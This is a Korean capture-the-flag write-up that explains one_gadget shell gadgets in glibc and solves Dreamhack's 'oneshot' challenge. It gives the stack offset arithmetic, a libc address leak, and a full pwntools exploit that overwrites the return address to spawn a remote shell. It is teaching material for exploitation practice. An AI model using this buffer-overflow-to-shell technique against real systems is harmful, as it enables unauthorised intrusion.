개념정리
one_gadget
은 Glibc 바이너리 내에서 execve("/bin/sh", rsp+0x30, environ)
과 같은 쉘을 실행하는 특정 코드 시퀀스를 의미한다. 이 가젯을 통해 특정 조건이 충족되면 공격자가 직접 쉘을 실행할 수 있다. one_gadget
의 가장 큰 장점은 단일 가젯으로 쉘을 획득할 수 있다는 점이다.
one_gadget
을 사용할 때 중요한 점은 각 가젯이 성공적으로 실행되기 위해 충족해야 하는 특정 조건이 있다는 것이다. 이런 조건은 가젯 실행 시 레지스터 또는 메모리 상태와 관련이 있다. 예를 들어, 일부 가젯은 특정 레지스터가 0이어야 하거나 특정 메모리 위치가 유효한 포인터를 포함해야 할 수 있다.
다음은 one_gadget을 이용한 익스플로잇 단계다.
- 취약한 프로그램 식별: 먼저, 반환 주소를 제어할 수 있는 취약점을 가진 프로그램을 찾습니다. 일반적인 취약점으로는 버퍼 오버플로, 포맷 문자열 취약점, 스택 기반 버퍼 오버플로 등이 있습니다.
- One_gadget 위치 찾기:
one_gadget
도구(특정 Glibc 바이너리에서 이러한 가젯을 찾는 도구)를 사용하여 대상 프로그램에서 사용할 수 있는 가젯을 식별합니다. - 익스플로잇 작성:
one_gadget
의 주소로 반환 주소(RET)를 덮어쓰는 익스플로잇을 작성합니다. 실행 시one_gadget
이 요구하는 조건을 충족하도록 합니다.
즉, RET을 one_gadget으로 덮을 수 있다면 단일 가젯으로 쉽게 쉘을 획득할 수 있다.
one_gadget 오프셋을 구하는 방법은 다음과 같이 one_gadget 툴 이용하면 간단하다.
└─# one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
예제는 libc 파일에서 사용할 수 있는 one_gadget 예제다. libc_base를 구하고 오프셋을 연산하면 one_gadget 주소를 구할 수 있다.
단, constraints에 적힌 조건대로 one_gadget이 실행되는 단계에서 조건을 만족하는 경우에만 쉘이 정상적으로 실행된다.
문제풀이
└─# checksec oneshot
[*] '/root/dream/oneshot/oneshot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
NX와 PIE가 적용됐다.
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
msg[16]
,check
선언- 46바이트 입력값을 받고 msg에 저장
check > 0
인 경우, 프로그램 종료memset(msg, 0, sizeof(msg))
로 msg 초기화
msg가 16바이트 크기의 배열이지만, 46바이트까지 입력할 수 있고 BOF가 발생한다.
RET을 one_gadget
으로 overwrite하면 쉘을 획득할 수 있다.
one_gadget 주소를 획득하기 위해서 libc_base 주소부터 구해보자.
printf("stdout: %p\n", stdout);
stdout 주소를 출력해준다. 따라서 오프셋 연산으로 libc_base를 구할 수 있다.
objdump -D libc.so.6 | grep "stdout"
00000000003c5620 <_IO_2_1_stdout_@@GLIBC_2.2.5>:
위와 같이 objdump
명령어를 이용해서 stdout 오프셋을 구했다.
stdout
주소와 0x3c5620
을 연산하면 libc base
를 구할 수 있다.
이제 one_gadget 오프셋을 구하고 libc_base와 연산해서 주소를 구해보자.
다음과 같이 one_gadget
오프셋을 구할 수 있다.
└─# one_gadget libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
4가지 가젯 중에 조건에 맞는 가젯을 사용해야 한다.
- 조건이 충족하는지 확인하는 방법은 원가젯이 실행되는 시점의 메모리 상태를 확인하면 된다.
다음은 payload를 구성해보자.
0x0000000000000a91 <+80>: lea rax,[rbp-0x20]
0x0000000000000a95 <+84>: mov edx,0x2e
0x0000000000000a9a <+89>: mov rsi,rax
0x0000000000000a9d <+92>: mov edi,0x0
0x0000000000000aa2 <+97>: call 0x830 <read@plt>
[rbp-0x20]
은 msg 위치다.
즉, msg ~ RET
거리는 0x20 + 0x8 = 0x28 = 40
그렇다면 payload는 다음과 같이 구성할 수 있다.
[dummy] * 40 + [oneshot 가젯 주소]
단, 1가지 조건을 더 충족해야 한다.
if(check > 0) {
exit(0);
}
if문 코드를 보면 check == 0
으로 유지되야한다.
[dummy] * 24 + b"\x00" * 16 + [oneshot 가젯 주소]
따라서 payload를 작성할 때 check가 0으로 유지되도록 다시 작성했다.
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote("host3.dreamhack.games",11688)
# [1] Leak libc_base
p.recvuntil("stdout: ")
stdout = p.recvuntil(b"\n").strip(b"\n")
stdout = int(stdout, 16)
log.info("stdout : " + hex(stdout))
# [2] Get oneshot
libc_base = stdout - 0x3c5620
oneshot_gadget = libc_base + 0x45216
log.info("libc_base : "+hex(libc_base))
log.info("oneshot_gadget : "+hex(oneshot_gadget))
# [3] Exploit
p.recvuntil("MSG: ")
payload = b"\x90"*24 + b"\x00"*16 + p64(oneshot_gadget)
p.send(payload)
p.interactive()
reference
dreamhack - [one-shot gadget]